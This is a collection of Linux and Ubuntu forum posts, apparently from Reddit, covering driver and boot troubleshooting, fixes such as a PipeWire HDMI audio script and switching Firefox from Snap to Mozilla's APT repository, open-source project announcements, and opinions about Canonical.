• ota doctor diagnose what is missing or blocking readiness
• ota up prepare the repo
• ota run <task> run declared tasks from the contract

With Ota, a repo gets one operational front door so humans, CI, and automation can understand what the repo needs and how it becomes ready.
Project repo: https://github.com/ota-run/ota
We’d love for people to try it out, especially OSS maintainers and contributors who have dealt with these issues. Feedback and criticism are also very welcome.

I was surprised to discover that mitigations for dirty frag and fragneia were not applied by Ubuntu's livepatch system.

I then subscribed to the ubuntu-security-announce mailing list and discovered that those mitigations were not announced on the list.

Is there one place to monitor to ensure my systems are fully patched/mitigated?

Found this touchscreen game play table at a random McDonald's in France and I had to check out why the boot sequence didn't run successfully. I was surprised to see it was running on Gentoo.

I don't really have any more info other than the picture. If anyone knows more about this, let me know

Solved!!

I've got 24.04.3 LTS with kernel 6.14.0-28 generic.

I'm stuck on Nvidia 535.247.01 with no updates available and when i try and tell it to install the newer version it says no candidates.

What am i doing wrong or what did i previously do wrong to cause this?

Nvidia 3060 12gb vram LHR

Edit: the solution that was evading me was somehow i created a no-i386 and it caused tons of held back updates.

I ran sudo rm /etc/apt/preferences.d/no-i386 sudo apt update

The available drivers list populated with options.

Been using the discord app on Ubuntu desktop for quite a while. Today it wouldn't start, at least the launch started and then aborted. After doing:

flatpak repair com.discordapp.Discord

flatpak run com.discordapp.Discord

I get the following

[109:0517/171121.559694:FATAL:sandbox/linux/suid/client/setuid_sandbox_host.cc:169] The SUID sandbox helper binary was found, but is not configured correctly. Rather than run without sandboxing I'm aborting now. You need to make sure that /home/matthew/.var/app/com.discordapp.Discord/config/discord/app-1.0.138/chrome-sandbox is owned by root and has mode 4755. 2026/05/17 17:11:21 socat[3] W exiting on signal 15 

Okay, I understand the words but not the underlying cause. If I look at that file I see

-rwxr-xr-x 1 matthew matthew 15328 May 11 17:52 /home/matthew/.var/app/com.discordapp.Discord/config/discord/app-1.0.138/chrome-sandbox

This is the copy from my backup

-rwxr-xr-x 1 matthew matthew 15328 May 5 23:47 /backup/matthew/.var/app/com.discordapp.Discord/config/discord/app-1.0.137/chrome-sandbox

I last used Discord 2 days ago, on the 15th and the file was last modified on the 11th, that and the backup from the 5th both show owned by me.

I am suspicious of something that wants to be root in my user dir and more so that it wants the SUID bit set.

What changed?

Is this safe to do?

I tried to upgrade from 25.10 to 26.04 again today, but I ran into a simi problem as last time. For some reason, a lot of the core apps seem to segfault when loaded. based on the logs, it has something to do with libc.so.6. any ideas on why this might be happening?

The usual kernel -stable updates with multitude of patches. Releases 7.0.9, 6.18.32, 6.12.90 and 6.6.140, relevant places and mirrors might take a bit to catch up. Again, everyone should upgrade as there are important fixes all around.

So i know that I can change interface text size in Gnome Tweaks but this changes it everywhere and I want to change it only on Chrome interface. Tab text at 11 is too large. 9pt seems similar to how it looks on Windows.

How do I do it?

Has anyone found a good way on Ubuntu/Linux to control ASUS monitor settings like brightness, contrast, color profiles, etc. directly from the OS?

I have an ASUS monitor and on Windows/macOS there’s ASUS DisplayWidget Center, but apparently it only supports Win11 and macOS. I remember trying Garuda Linux once and somehow I was able to control those settings from the system, but I never figured out what tool or package it was using.

I’m mainly looking for something that works through DDC/CI or similar on Ubuntu-based distros.

Any recommendations?

Hello

I'm sure this has already been fixed before, but I have tried a few since yesterday and can't get it to work. I'm trying to install Ubuntu for the first time to my pc but I either get one of these depending on how i boot the system.

Solutions I remember I have tried:

1. I have disabled fast startup from an old hdd which is not even plugged in, but just to be safe I did it.

2. I tried installing it to the HDD instead of the SSD that does not have windows, but it did not work

3. I put the USB that has the Ubuntu install on it in a different port, but that did nothing

4. From my understanding the one with "The disk contains an unclean file system (0, 0) Metadata kept in windows cache, refused to mount." Has something to do with windows but the only thing that has windows on it is a separate HDD that is not plug in and the SSD that i try to install Ubuntu on is completely cleaned from everything and then i formatted it.

5. The one that says " 'grub_memcpy' not found" I have had a bunch of forums saying to type in commands, but every time I try something it says "Unknown command".

Another thing is that some forums say to use or install "ntfsfix" but I dont really understand how, on the SSD or USB and if on the USB where on it? Plus many of those say that fixes an issue about "/dev/sdb3" which is not an error I have

What can I do?

Estou começando a pegar trabalho com marketing de verdade, e queria muito poder usar CapCut no Linux mas acho que não é possível, águem já conseguiu instalar Adobe? Ou esses apps realmente só funcionam com macOS e Windows?

Hello everyone, I have been daily driving Ubuntu since 16 months and I'm absolutely enjoying it. However I've read opinions of some non-Ubuntu users that it doesn't fully follow the FOSS philosophy, that pushing snap, sending reports to Canonical(I am not aware of it) and it is like windows of the Linux etc. I thought it would be best to ask what the subreddit thinks about it. I'm using Ubuntu because it works well on my system.
Please clear my doubts.

Thanks.

I have a dedicated plex server on my extra rig, it's running 22.04 codename "jammy".

At first I had a issue opening Firefox, still do, but now that the pc is rebooted, my 4k asus monitor shows all the icons very large, and my resolution set at 1024x768 (4:3)

Before all this happend the screen was very small due to being in 4k and I had to use the 300% scaling option to make everything larger, but it was proportionate to the screen, now everything is massive and it only gives me 100% and 125%.

I tried fractional scaling also, but didn't change anything, and Firefox also doesn't work still. Not sure what happened. Already tried to kill Firefox via terminal, and open it in safemode via terminal and I got no response.

FIXXED!.

ran sudo apt update && sudo apt upgrade in terminal, restarted and problem gone.

Just a FYI, I do run Nvidia 535 drivers for the 1080ti to give my gpu unlimited transcoding capabilities since this is a dedicated pc.

when my bluetooth headphones automatically connects to ubuntu it only finds free speak. after disconnecting and reconnecting it finds hands-free headset with which i hear with normal quality. it is everytime like that. what can i do that it automatically connects fully and finds hands free headset?

soundcore liberty 4, zenbook 14x oled

I've been running Ubuntu on my Lenovo laptop for more than a year, and it has generally worked well for me. Most of my work is web-based, with some editing and management of high resolution videos too. My technical skills are a little outdated, so I bought the second-hand laptop with Ubuntu pre-installed. I've had no major difficulties with this over the year, and I was certainly happy to see the back of Windows.

However, it suddenly started crawling for me at some stage on Friday. I don't recall any particular software updates going through, though they could well have done so. I know have a very noticeable lag for almost any operation, 10-20 seconds to refresh and redisplay a Reddit page, for example. If I open and play one of my videos in VLC, I hear audio, but the video is either frozen or just overlaid with grey splodges, which VLC sometimes does when overwhelmed.

VLC Player screenshot

I notice that the screen is dimming after a couple of minutes, which I don't recall it doing before.

I've tried disabling my Proton VPN, but that didn't seem to make any difference. I've been looking in System Monitor for any runaway processes, but there's nothing obvious there.

https://preview.redd.it/f88eqihd1p1h1.png?width=1852&format=png&auto=webp&s=dd20a9b9b5ee4bd6ed1d8766df1331fa6a4ef7c4

Here's the Hardware Information:

- **Hardware Model:** Lenovo ThinkPad T570 W10DG

- **Memory:** 32.0 GiB

- **Processor:** Intel® Core™ i5-6300U × 4

- **Graphics:** Intel® HD Graphics 520 (SKL GT2)

- **Disk Capacity:** 1.0 TB

## Software Information:

- **Firmware Version:** N1VET64W (1.54 )

- **OS Name:** Ubuntu 24.04.4 LTS

- **OS Build:** (null)

- **OS Type:** 64-bit

- **GNOME Version:** 46

- **Windowing System:** Wayland

- **Kernel Version:** Linux 6.8.0-117-generic

Have you any advice as to how I can get back to having a usable machine please?

Hi guys

its happening even to you that you cannot update or connect to ubuntu.com if you are connect with nordvpn?

I have the snap installed

Regards

Well, after > 30 years with Linux and different distributions I made next round of checking of some things with this year releases.

And now some funny things:

1. when you do own partitioning in Ubuntu 26.04 Gnome, you don't have encryption in installer - they removed it after 22.04 (with new "improved" installed) and ignored bugs in their tracker (I found 5 or 6 including mine, see https://bugs.launchpad.net/ubuntu-desktop-provision/+bug/2092668 )

2. separate unencrypted /boot partition - in other distros it's integrated with / and encrypted, in Lubuntu it's by default 4GB big and mainly wasted place

3. „Could not close encrypted partition on the target system” with Lubuntu 26.04 installer when you already have some LUKS partitions from other system

4. some Ubuntu 26.04 flavours are LTS, but only "unofficially"

and my favorite: replacing UEFI Ubuntu entry without warning or asking (when you have any Ubuntu or Mint or something on disk already)

I collected this and other things in the https://mwiacek.com/www/?q=node/638 post. It looks, that after Unity, Snap and Rust dramas we have also installer and other basic problems. With GTK4 we received worse fonts, now this.

Is this really mainstream Linux future? Why Canonical doesn't provide technical testing or support for such basic things?

(notes: Open Software/GNU is great and I'm not trying to troll it here; I don't care, if this post will get minuses - if you know even more funny things please leave them in comments)

https://preview.redd.it/yissw00vio1h1.png?width=2944&format=png&auto=webp&s=e197a41b5699ce32666e89abcea24c2ecbf66379

After periods of using Thunderbird, and then Geary, I was getting annoyed with their various shortcomings.

At a minimum I need a one line preview of each email in the message list (which isn't even on the Thunderbird roadmap). Also Thunderbird is memory heavy and still feels clunky despite the partial UI makeover. Geary is fine, but uses old toolkits and is showing its age (also no longer developed). Sometimes html messages don't render correctly in Geary (I believe it uses webkit).

Mailspring went through a period of hardly being developed. But I think the main Dev switched to Linux last year, and now there's very frequent updates (https://www.getmailspring.com/changelog). Also they abandoned needing an account to use it. Developer is responsive to bug reports on Discourse.

Default theme is ok but dated. Switching to the inbuilt Darkside Theme (created by a graphic designer), and it looks great and modern.

https://github.com/Foundry376/Mailspring

[FIX] No HDMI audio on Philips TV with Linux / PipeWire (Ubuntu 24.04, Intel integrated graphics)

If you have a Philips TV connected via HDMI to a Linux machine and get no sound at all — video works fine, the TV appears in audio settings, everything looks correct but silence — this is probably your fix.

Tested on: Ubuntu 24.04.4, kernel 6.17, Intel Alder Lake-N. Likely affects other Intel integrated graphics setups and possibly other distros using PipeWire.

Why this happens

Philips TVs only accept 16-bit or 20-bit LPCM audio over HDMI (you can verify this yourself by running cat /proc/asound/card0/eld#2.0 and looking for sad0_bits). PipeWire negotiates 32-bit (s32le) by default because the Intel HDA driver doesn't properly expose the TV's format limitations. The Philips TV receives the signal, doesn't understand it, and produces silence — no error, no warning, just nothing.

The fix bypasses PipeWire's auto-detection entirely and creates a manual ALSA sink with the correct 16-bit format.

Before you start — find your card's PCI address

Run:

pactl list cards short 

You'll see something like:

48 alsa_card.pci-0000_00_1f.3 alsa 

Note down that PCI address (pci-0000_00_1f.3). Also check which ALSA device your Philips TV is on:

aplay -l | grep -i philips 

You'll see something like card 0, device 3. That means your device is plughw:0,3. Adjust the commands below if yours differs.

Step 1 — Create the script

mkdir -p ~/.local/bin/ cat > ~/.local/bin/philips-hdmi.sh << 'EOF' #!/bin/bash for i in {1..10}; do pactl set-card-profile alsa_card.pci-0000_00_1f.3 off 2>/dev/null if pactl list sinks short | grep -q philips_hdmi; then pactl set-default-sink philips_hdmi exit 0 fi if pactl load-module module-alsa-sink device=plughw:0,3 format=s16le rate=48000 channels=2 sink_name=philips_hdmi 2>/dev/null; then pactl set-default-sink philips_hdmi exit 0 fi sleep 2 done exit 1 EOF chmod +x ~/.local/bin/philips-hdmi.sh 

Replace alsa_card.pci-0000_00_1f.3 and plughw:0,3 with your values from above if different.

Step 2 — Create the systemd user service

mkdir -p ~/.config/systemd/user/ cat > ~/.config/systemd/user/philips-hdmi.service << 'EOF' [Unit] Description=Philips TV HDMI audio fix After=pipewire-pulse.service Requires=pipewire-pulse.service [Service] Type=oneshot Environment=XDG_RUNTIME_DIR=/run/user/%U Environment=PULSE_RUNTIME_PATH=/run/user/%U/pulse ExecStart=%h/.local/bin/philips-hdmi.sh RemainAfterExit=yes [Install] WantedBy=default.target EOF 

%h and %U are systemd specifiers — they expand automatically to your home directory and user ID. No manual substitution needed.

Step 3 — Enable and start

systemctl --user daemon-reload systemctl --user enable philips-hdmi.service systemctl --user start philips-hdmi.service 

Step 4 — Set as default output

Go to Settings → Sound and select philips_hdmi as your output device. This survives reboots.

How to verify it worked

pactl list sinks short | grep philips 

You should see:

138 philips_hdmi PipeWire s16le 2ch 48000Hz RUNNING 

The s16le is the key — that's 16-bit, which the Philips TV accepts.

What this does under the hood

1. Sets the PipeWire card profile to off, releasing exclusive control of the HDMI device
2. Loads a manual ALSA sink using plughw:0,3 (which enables software format conversion) with forced S16LE format
3. Sets this sink as the system default
4. The retry loop handles timing — PipeWire needs a moment to fully initialise on boot before we can interact with it

Hope this saves someone the hours I spent on it.

https://preview.redd.it/5qhabf7gsn1h1.png?width=1920&format=png&auto=webp&s=149a2c3aaa4485b3cd56e715ea4a0f3eb386f985

I just installed Ubuntu 24.04 on bare metal. But everytime I do `sudo apt upgrade`, I get errors like this. This happened before, and I believe the problem was because of faults with setting the system clock with local time. I fixed that via the BIOS menu, and setting timedatectl to not mess with it, but now I'm getting it all over again. What's going wrong here?

I want to play light games when bored - like NFS 2005, Plants vs. Zombies, Age of Empires etc. I want to know your experience.

Edit: Thank you all for the responses. For future readers - to summarize, we can play games on Ubuntu using Proton.

Shipped v0.16.0 with end-to-end Deep Packet Inspection.

- **Packets tab:** INFO column is L7-aware and color-coded. Filter syntax: `app:quic`, `sni:reddit`, `host:github`.

- **Dashboard top-talkers:** real hostnames in the bandwidth panel.

- **Packets detail pane:** decodes QUIC v1/v2 Initial packets and shows the inner CRYPTO/PADDING/PING frame structure.

Full RFC 9001 / 9369 QUIC Initial decryption — HKDF-Expand-Label keys, AES-128 header protection, AES-128-GCM AEAD,

cross-packet ClientHello reassembly. Most peer tools just tag flows as `QUIC`; this one tells you the hostname.

cargo install netwatch-tui

# or

brew install matthart1983/tap/netwatch

Rust + ratatui, MIT. https://github.com/matthart1983/netwatch

I just wrote a breakdown on what it really means to 'work in the terminal' on Linux. This text breaks down what is a terminal emulator, pty and a shell.

This text is aimed at folks who have played around with the terminal a bit (pretty much everyone on Linux!) and are curious to understand what's going on under the hood. Just scratching the surface here, it should be a quick 10 minute read with some C program examples.

If this is new to you, you might find it interesting to look into how the emulation of ancient hardware from the 70s plays a role here!

I hope it's useful!

check out the progress here: https://github.com/ubuntu/Tiling-Assistant/pull/452

Good news, I was able to boot 24.04, and install Ubuntu-desktop. However, it isn't recognizing my keyboard. I am able to move the mouse around, but I'm not able to click on anything. I can Ctrl-Alt-F2 into the terminal, but that's the end of it. This is a clean install, I haven't done anything outside of what I've described...

So evidently this is a common problem with booting 26.04 and none of the solutions that I came across seemed to make any change with the boot program. The most common being adding nomodeset to the grub boot sequence, but that made absolutely no difference.

I verified the ISO checksum

I attempted multiple different USB sticks

I tried different methods of writing the data to the USB

Nothing worked.

I haven't had a chance to dig into the difference between the installers, but my quick and dirty solution was to use the server install ISO to install from USB and then running the following to get the desktop version:

#sudo apt install ubuntu-desktop

Problem solved.

I just thought I would post this so that others who encounter this can find a quick solution.

Hola buenas, nunca antes habia usado reddit para hacer consultas asi pero tengo un tema con linux, recientemente quise probar linux mas especificamente ubuntu (version 26 o la mas actual) junto a windows 11, por un tema de seguir usando win 11 en lo que me acostumbro a linux, y estaba todo bien pero al momento de querer jugar csgo, la mira regresa automaticamente al medio de la pantalla, es decir intento mover la camara para alguna lado y siempre regresa en medio. Toda clase de ayuda me sirve mucho ya que es algo con lo que llevo batallando ya tiempo

https://reddit.com/link/1tfcwfr/video/0btau9vx0m1h1/player

Hola buenas, nunca antes habia usado reddit para hacer consultas asi pero tengo un tema con linux, recientemente quise probar linux mas especificamente ubuntu (version 26 o la mas actual) junto a windows 11, por un tema de seguir usando win 11 en lo que me acostumbro a linux, y estaba todo bien pero al momento de querer jugar csgo, la mira regresa automaticamente al medio de la pantalla, es decir intento mover la camara para alguna lado y siempre regresa en medio. Toda clase de ayuda me sirve mucho ya que es algo con lo que llevo batallando ya tiempo

Yet another reason I try to stay with “mainstream” Linux is because of the update repos some forks use. For me, putting all of your trust into a repository with little known about it, or its security, makes me feel uneasy. I feel that it is a security risk, mainly because you’re allowing arbitrary code to be downloaded and run on your machine. You might argue that since it’s open-source people are constantly auditing, which has some merit to it, but with these lesser known repos there are bound to be less people reviewing code, and more opportunities for bad actors. What do you think?

Hola buenas, nunca antes habia usado reddit para hacer consultas asi pero tengo un tema con linux, recientemente quise probar linux mas especificamente ubuntu (version 26 o la mas actual) junto a windows 11, por un tema de seguir usando win 11 en lo que me acostumbro a linux, y estaba todo bien pero al momento de querer jugar csgo, la mira regresa automaticamente al medio de la pantalla, es decir intento mover la camara para alguna lado y siempre regresa en medio. Toda clase de ayuda me sirve mucho ya que es algo con lo que llevo batallando ya tiempo

no problems. super snappy.

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My plan is to run Kubuntu as a major OS and explore its limitations?

Hello, everyone. I am a considerably new Linux user and I have been using Ubuntu for two months. I think Ubuntu is a wonderful distro and I have been enjoying using it, but I can't help but wonder about Ubuntu's future. When I look back and compare older Ubuntu versions to newer ones, the "Linux for human beings" motto seems to be fading away. Canonical is hell-bent on pushing snap packages despite many desktop users' complaints about them and they generally don't even advertise the desktop aspects of Ubuntu anymore, so is Canonical planning to turn Ubuntu into a pure enterprise OS like RHEL or SUSE? Has Ubuntu abandoned its goal of making Linux available for everyday users or at least made it secondary? Also, I apologize if this post is outside the scope of the subreddit's content.

Thought I would share a small personal milestone with the community. Hope you don't mind.

A hobby project of mine called Mend was recently accepted into the awesome-zsh-plugins list.

Linux users are understandably sceptical about new tools that promise to make life easier, so I am keeping my expectations firmly grounded, but seeing it get a bit of official recognition feels brilliant.

It is essentially a distro-agnostic terminal assistant designed to help out when things go wrong. If you make a typo, a command fails, a library is missing, or a database is locked, it hooks into your history to get things sorted right from the terminal without a fuss.

It also includes a system scan feature that looks at your hardware to recommend the right drivers and specific packages, which comes in handy during a fresh setup.

It is completely a spare-time passion project, and having it included in the main list is a massive boost.

If anyone fancies giving it a look, the code is on GitHub and it is available on the AUR. I am just really happy to see something I built for myself actually becoming useful to the wider community.

Thank you all for your support throughout the whole journey.

Without your suggestions and the terminal outputs that have been kindly provided by the r/linux and r/commandline community I would not be able to get Mend where it is now.

I downloaded ubuntu 24.04 dual boot to my lenov legion laptop.My windows boot manager is missing. My laptop automatically boots ubuntu. When I press f12 the windows boot manager does not appear on the screen and when I press f2 to enter BIOs/UEFI menu it does not appear on the boot menu

So I decided to stick it to the man and install good'ol Ubuntu on my HP Omen 15. However to my surprise I can't get past this screen. I've installed Ubuntu 24.04 before, like maybe 3 times, never ran into this, different firmware, whatever.

Looked around the web for solutions, turns out, a lot of people have had this problem. Not many have solved it. Some versions have this secret HP Bios options with CTRL + F1, some have solved it by going into Windows regedit and doing some shenanigans, I can't do that because I can't boot into Windows.

First thing I immediately did was go to the most similar option in BIOS called Intel RST which only prompted me if I wanted to disable RAID basically, between my WD disk and a PCIe with 13Gb, whatever, I just went ahead, didn't care about any data, did the thing.

However now I have no other options relating to Intel RST, can't boot into Windows to try any shenanigans, Ubuntu installer still detects my system as having RST enabled, even though it also sayd my disk might have problems in the future because It's getting old which is really beautiful irony. It can apparently detect the disk, it probably just can't write to it I don't know.

Does properly wiping the disk help in any way? Does an older version of Ubuntu get around this? Can I do anything in the setup environment to circumvent this?

I've tried setting up a BIOS password too, and disabling secure boot, no luck.

Here's what I've read meanwhile:

https://h30434.www3.hp.com/t5/Notebooks-Archive-Read-Only/Disable-Intel-RST-in-Laptop-BIOS/td-p/8275849

https://h30434.www3.hp.com/t5/Gaming-Notebooks/How-can-I-switch-off-the-RST-in-the-BIOS-on-the-HP-Omen-15/td-p/8417914/page/2

https://discourse.ubuntu.com/t/ubuntu-installation-on-computers-with-intel-r-rst-enabled/15347

When's Ubuntu going to get fixed? They don't have anything about this on their site at all.

Lots of other distros have been fixed.

I'm about to franken-buntu my laptop with a Proxmox kernel at this rate. Comeon Canonical, stop being slow.

Just discovered VeloxDB and wanted to share it with the community. It's a native database GUI for PostgreSQL, MySQL, and SQLite built with Tauri + Rust — and it shows. Fast, lightweight, and genuinely enjoyable to use.

What makes it great:

• Schema-aware autocomplete — knows your actual tables and columns as you type
• Built-in ER diagram designer — drag, drop, and connect tables visually, right inside the app
• SSH tunneling — built-in, no workarounds needed
• AI SQL generation — write SQL from natural language, bring your own model, zero telemetry, no forced sign-in
• Secure credential storage — uses the Linux secret-service (keychain)
• Ctrl+P command palette — find and run any action without leaving your keyboard

Installing on Linux:

.deb (Ubuntu/Debian):

sudo apt install ./veloxdb_*.deb 

AppImage (any distro):

chmod +x VeloxDB_*.AppImage ./VeloxDB_*.AppImage 

Both are one binary, zero dependencies. If you hit a FUSE error with the AppImage just run sudo apt install libfuse2 first.

Postgres support is the most polished right now, with MySQL and SQLite on the way. Highly recommend giving it a shot.

veloxdb.dev | GitHub

Cette vielle charrette mérité bien de l'open source !

Heureux de revenir dans vos rangs

(Ancienne publication supprimé car erreur dans le titre 😬)

Hello community, I just want to ask if there is any way to enable fingerprint for login and other authentications in Ubuntu Linux. I am running Ubuntu 26.04 LTS on a HP Elitebook and it has a fingerprint sensor. Any suggestions are appreciated.

Just installed Ubuntu 26.04 on a fresh system. After a few hours of normal use (Firefox with ~3 tabs, Spotify, a terminal), my entire system froze. Mouse cursor frozen, no keyboard input, even REISUB (Magic SysRq) didn't respond. Had to hold the power button.

After reboot, journalctl -b -1 -k revealed the culprit:

oom-kill: task_memcg=/user.slice/.../snap.firefox.firefox-...scope, task=RDD Process, pid=7813, uid=1000 Out of memory: Killed process 7813 (RDD Process) total-vm:36615980kB, anon-rss:93128kB, file-rss:8kB, shmem-rss:28213668kB 

The Snap Firefox RDD (Remote Data Decoder) process had accumulated 28GB of shared memory on a system with 32GB RAM. The OOM killer eventually intervened, but by then the system was so deep in memory pressure that even SysRq was non-responsive.

• Ryzen 9 3900X, RTX 2070 Super, 32GB RAM, Samsung 970 EVO NVMe
• Ubuntu 26.04 LTS, GNOME 50.1 on Wayland
• NVIDIA driver: nvidia-driver-595-open
• 3 monitors (1280x1024 + 1920x1080 + 1920x1080)

Removed Snap Firefox, installed the native .deb from Mozilla's official APT repo:

sudo snap remove firefox sudo install -d -m 0755 /etc/apt/keyrings wget -q https://packages.mozilla.org/apt/repo-signing-key.gpg -O- | \ sudo tee /etc/apt/keyrings/packages.mozilla.org.asc > /dev/null sudo tee /etc/apt/sources.list.d/mozilla.sources > /dev/null << EOF Types: deb URIs: https://packages.mozilla.org/apt Suites: mozilla Components: main Signed-By: /etc/apt/keyrings/packages.mozilla.org.asc EOF sudo tee /etc/apt/preferences.d/mozilla > /dev/null << EOF Package: * Pin: origin packages.mozilla.org Pin-Priority: 1000 EOF sudo apt update sudo apt install firefox-l10n-de # or firefox-l10n-en, etc. 

After the switch, with 20+ tabs open including video-heavy YouTube content, RAM usage barely budged. Less than 1% increase, vs. unbounded shmem growth under Snap.

I don't know whether the root cause is the Snap sandbox's interaction with GPU video decode buffers (PipeWire? wlroots? CDM in the sandbox?), but the empirical result is clear: native Firefox doesn't exhibit this behavior on identical hardware and workload.

Posting this in case others on Ubuntu 26.04 hit the same freeze and wonder what happened.

I swapped to ubuntu because my laptop model ( MSI Summit A16 AI A3HMTG) has known issues on windows, such as broken Audio and Chipset drivers. And my laptop would randomly shut off and restart. So I swapped to ubuntu. I still have no audio, and I am having weird one have graphical artifacts. Sometimes randomly I'll see little blips of green "Glitchyness" on areas of my screen. Ubuntu seems to be seeing my GPU just fine, I have used the Deb File AMD provides on their website and restart the laptop. So does any clue on how to fix these issues?

True story bro, true story...

This is how you know, something went horribly wrong with Windows over the years. HW keeps getting faster, Windows keeps getting slower. Sometimes it feels less snappy than my 486 DX4 running Windows 95 on 4MB of RAM

I consider Kubuntu to be the ultimate PC experience, been around PC since C64.

I wanted to finally install 26.04 today, but noticed that I couldn't reach ubuntu.com. I normally use a openwrt router with mullvad vpn when I browse the internet, and the VPN IP seems to have been blacklisted. So I tried the Opera browser, that has a built in VPN. All IPs blacklisted there too.

I ended up having to rawdog ubuntu.com to download 26.04. But after connecting to vpn again, I couldn't use the Ubuntu store or install any snaps. Because apparently Ubuntu is blocking VPNs now?

Bonjour, j'ai installé Ubuntu 26. Dans Nautilus je n'ai pas le disque-dur dans la colonne de gauche, c'est donc difficile pour remonter dans l'arborescence pour aller à la racine du disque-dur. Dans Transmission, je ne peux pas changer le répertoire de destination qui est Téléchargements par défaut. Si je vais dans le Gestionnaire de disques, que je sélectionne la partition et que je vais dans les options de montage, je peux cocher Afficher dans l'interface utilisateur et après l'ordinateur ne redémarre pas, je dois réinstaller l'OS.

Voici encore une nouveauté sous couvert de sécurité certainement, un problème que l'on avait pas sur les anciennes versions d'Ubuntu.

Stuck in installation for dual boot, why did that command take half an hour?

Hi everyone,

I’m looking into running Ubuntu 26.04 LTS on the new ASUS ExpertBook P5 G2 (PM5606) with the Ryzen AI 9 HX 470. Before I commit and buy it, I’d like to check if anyone has hands-on experience with this specific configuration.

I'm mainly focused on the following as I read they might be pain points:

- Audio: Are the speakers and the internal mic array working out-of-the-box?

- Wi-Fi 7: Does the Wi-Fi card require some adjustments, or is it stable on the 26.04 kernel?

- Ryzen AI NPU: Is the NPU being recognized, or does it require some tinkering?

If you’ve encountered any showstoppers or needed specific workarounds (kernel flags, firmware updates), please let me know.

TL;DR: Seeking compatibility feedback for Ubuntu 26.04 on the ASUS ExpertBook P5 G2 (Ryzen AI 9). Specifically curious about Audio and Wi-Fi 7 stability.

Hi

For those in the know; the sos command has around 400 plugins and each one retrieves its own set of log files, config files and diagnostic commands.

When trying to customize sos command execution, is very hard to know what plugins to exclude or which are the correct ones to choose in order to get just what is needed and not the whole thing.

So I created a searchable and filtered table that will let you know exactly what each plugin will do, to what profiles it belongs to an additionally the options it supports.

You can search for a plugin name, for a file, for an specific command or for a profile.

I think this will be very handy if you use the sos report command frequently.

You may be interested in bookmark this link

The tool is in the link and you do not need to register or anything.

Hope it helps.

Been stuck at the same section for the past 30 mins. Is this expected? Also checked the sha256sum after downloading the ISO.

Hey,

can't find a solution to a very simple problem:

When i click on an app in the dock, Ubuntu shows the different windows of this app.

How can i get a shortcut for this?
Is this impossible?

p.s. i know you can see ALL windows of all app via the "super"/win key, that is not what imlooking for

Hey r/linux!

I’ve been working on a project called Linux Download Manager (LDM). If you’re like me and have been missing the seamless experience of tools like IDM since switching to Linux, I think you’ll appreciate this. It comes with a companion Firefox extension designed to integrate into your workflow without getting in your way.

Here is a quick look at what it can do for you:

• Ghost Interceptions: The Firefox extension catches your downloads completely silently. No annoying "Cancelled" popups from Firefox—the file just instantly hands off to LDM.
• Smart Video Downloading: It handles video URLs from YouTube, Facebook, Instagram, TikTok, and Facebook Gaming. You even get a clean quality and format picker right before you download.
• No More Right-Click Restrictions: It bypasses those annoying site scripts that lock down right-clicking, making it easy to grab video links directly.
• Automatic File Sorting: It cleans up your downloads directory by automatically sorting files into color-coded categories like Videos, Music, and Documents.
• The Essentials: Full pause/resume support, a real-time progress tracker, and a native dark/light theme toggle.

Check out the project here:

• Source Code:[https://github.com/matewinslet/linux-downloader]()
• Firefox Extension:[https://addons.mozilla.org/en-US/firefox/addon/49cdbb655b5d47a7bce3/]()

I have been testing it heavily on Zorin and Ubuntu, but I would love to get your feedback—especially from the data hoarders and heavy downloaders out there. Let me know what you think!

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I need a detailed and comprehensive guide on how to destroy this thing off my disk.

Start to finish, pictures included.

I cannot stress how little I know, or care to know, about my device. I need instructions broken down to the level of "click here" "type this". You cannot make assumptions about my skill level, I have no skill level.

I would like to keep all my files intact without having to move them to an external drive. There is no external drive large enough.

I cannot believe I've been convinced to install this for work. I do not receive any tangible benefit, I continue to use the Windows OS anyways.

But this thing is smearing every inch of this computer.

EDIT: It was surprisingly easy. None of the suggestions in the comments worked. Thank you to the kind soul in DMs.

Open Windows Command Processor

Type:

wsl --unregister Ubuntu

wsl --uninstall

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Hello there! I'm a computer teacher and today I had a very exciting class because I taught Linux for the first time to my students. Sharing all this knowledge was an amazing experience.

It felt like a huge jump from when I was a teenager playing around with different Linux distributions, back when I was just discovering the philosophy of "share the software, you will be a free hacker" haha. To be honest, it feels really great to have shared my passion about Linux with my students!

I'm building an android app using kotlin and I'm planning to build one for desktop as well. Which is the better way to build? Cmp/kmp would be easier because i dont have to rewrite all the logic again whereas building in electron will attract more open source devs to contribute but i have to build from scratch which will take a lot of time.

What would you suggest in your opinion?

PS: I'm also a CS student so which will have a better impact on resume? For SWE roles.

Thanks!

I started thinking more about disaster recovery and standing up a new box, again. What I wanted was a way to do to both (though not at the same time) of the following:

• Replicate my existing setup, complete with packages/apps, data, app and shell config files, and ssh keys on my machine in the event that it had a catastrophic failure requiring me to reinstall the OS from bare metal (after repartitioning).
• Stand up a new machine for myself on potentially different x86 hardware and different peripherals, replicating my existing setup's packages/apps, data, app and shell config files (but not hardware config files), and ssh keys, keeping all of this synced across computers, only letting hardware configs and configs that shouldn't be synced (like browser configs) diverge from machine to machine.

This is not my area of expertise, though I'm strong with CLI Git, so I knew that I wanted the config files to be Git-controlled. The data files are synced using Megasync, and just about all of /home (that is, besides trash and Downloads) is backed up locally using timeshift. I wanted a robust solution that could periodically be rerun to discover new apps and configs and custom systemd units. It turned out that this was more complicated than I'm comfortable with, so I used an LLM to develop the plan and write the scripts. I haven't tested it yet, though.

Some of you are probably going to have very strong opinions on replicating ssh keys vs. generating fresh ones on a new machine, so yeah, feel free to chime in on that, but beyond that, do you all have comprehensive disaster recovery plans or detailed runbooks to replicate your machine on fresh hardware (without sync, so it's just a fresh image)?

I use an Ubuntu box plugged into the telly to watch streaming video, movies, surf the web from the couch, and (because my family is made up of people from different countries) we use it to log in to streaming media services overseas that aren't always in English. So, we don't really use a remote; we use a keyboard and mouse with some capable bluetooth.

As far as I'm concerned, it's the perfect media box. The side menu works much better on a television. The keyboard allows finer control than a TV remote, which is great for switching between languages, we can watch anything from anywhere - or even just scroll through old photos.... and when we want to watch free to air, it's easy to switch inputs.

Does anyone else do this? Is this even a valid way to use it? Each time I distro hop, I go straight back to Ubuntu because for this kind of use, I find it far superior out-of-the-box. Mint will do it but I have spend some hours reconfiguring the desktop layout.

Note, while I do daily drive linux at home, I am far from a power user... Any help would be appreciated.

I had Kubuntu installed and I recently wanted to switch to Gnome, but I noticed that Nautilus can't/won't generate thumbnails.

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If I open the folder in Dolphin first, then open the folder in Nautilus the thumbnails are there.
And yes I have the thumbnail setting on

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Hey everyone,

I wanted to share a project I have been working on: RQuickShare Pi.

